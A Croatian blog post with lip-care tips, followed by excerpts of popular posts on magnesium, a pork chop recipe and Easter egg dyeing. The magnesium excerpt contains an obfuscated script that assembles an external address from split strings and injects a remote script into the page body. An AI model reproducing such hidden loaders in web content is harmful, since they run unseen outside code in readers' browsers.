USNE U PRVOM PLANU





Usne u prvom planu 




Svi obožavamo meke i nježne usne. Evo kako možda i sami nesvjesno pridonosite lošem stanju svojih usana i što možete napraviti da popravite situaciju.





Isperite usta nakon napitka 

Topli napitci poput kave i čaja mogu ostaviti trag na usnama. Ostaci tanina iz čaja ili šećera iz soka dodatno isušuju usne. Usvojite li naviku ispiranja usta vodom nakon konzumacije napitaka možete napraviti veliku razliku.





Koristite nježnu pastu za zube 

Neke od pasta sadrže sastojke koji isušuju kožu, a mogu čak izazvati i iritaciju. Pokušajte s nekom nježnijom pastom te nakon svakog pranja zubi dobro isperite ostatke paste s usana i odmah nanesite zaštitni balzam.





Pazite kako spavate 

Ako spavate otvorenih usta zrak koji prolazi kroz njih tijekom noći može isušiti usne. Pokušajte promijeniti položaj spavanja jer to je često glavni razlog zašto ostajete bez zraka tijekom noći i otvarate usta kako bi lakše disali.





Izbjegavajte jako začinjenu hranu

Vrlo slana, kisela, začinjena i ljuta hrana pridonosi iritaciji usana. Ako ste baš veliki ljubitelj pikantne hrane barem prije jela stavite balzam za zaštitu.





Unosite više vitamina B

Ako je vaša prehrana jednolična sasvim je moguće da vam nedostaje vitamina B, a to se često vidi upravo na usnama koje postaju suhe, pucaju i zatežu.




.
Ne grizite usne 

Grickanjem, trljanjem ili dodirivanjem usana prstima lako se prenose bakterije koje dodatno oštećuju već osjetljivu kožu usana. Prsti su često puni nečistoća, a usne nemaju dovoljno prirodne zaštite da se od njih brane.





Izbjegavajte mat ruževe 

Možete ih koristiti u posebnim prilikama, ali prečesto nošenje mat ruževa nije dobra za usne. Oni lijepo izgledaju, ali jako isušuju usne i onemogućuju koži disati. Kada odlučite nositi mat ruževe obavezno prvo nanesite neki hidratantni balzam kao bazu.





Povremeno napravite bazu 

Piling je važan za kožu lica i tijela, ali i za usne. Ne trebate ga raditi prečesto, a možete ga napraviti i sami ako pomiješajte kokosovo ulje i šećer. Možete koristiti i vlažnu krpicu ili mekanu četkicu za zube. Na taj način uklonit ćete odumrle stanice s usana.




Pripremila: Ivana Matas 









Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više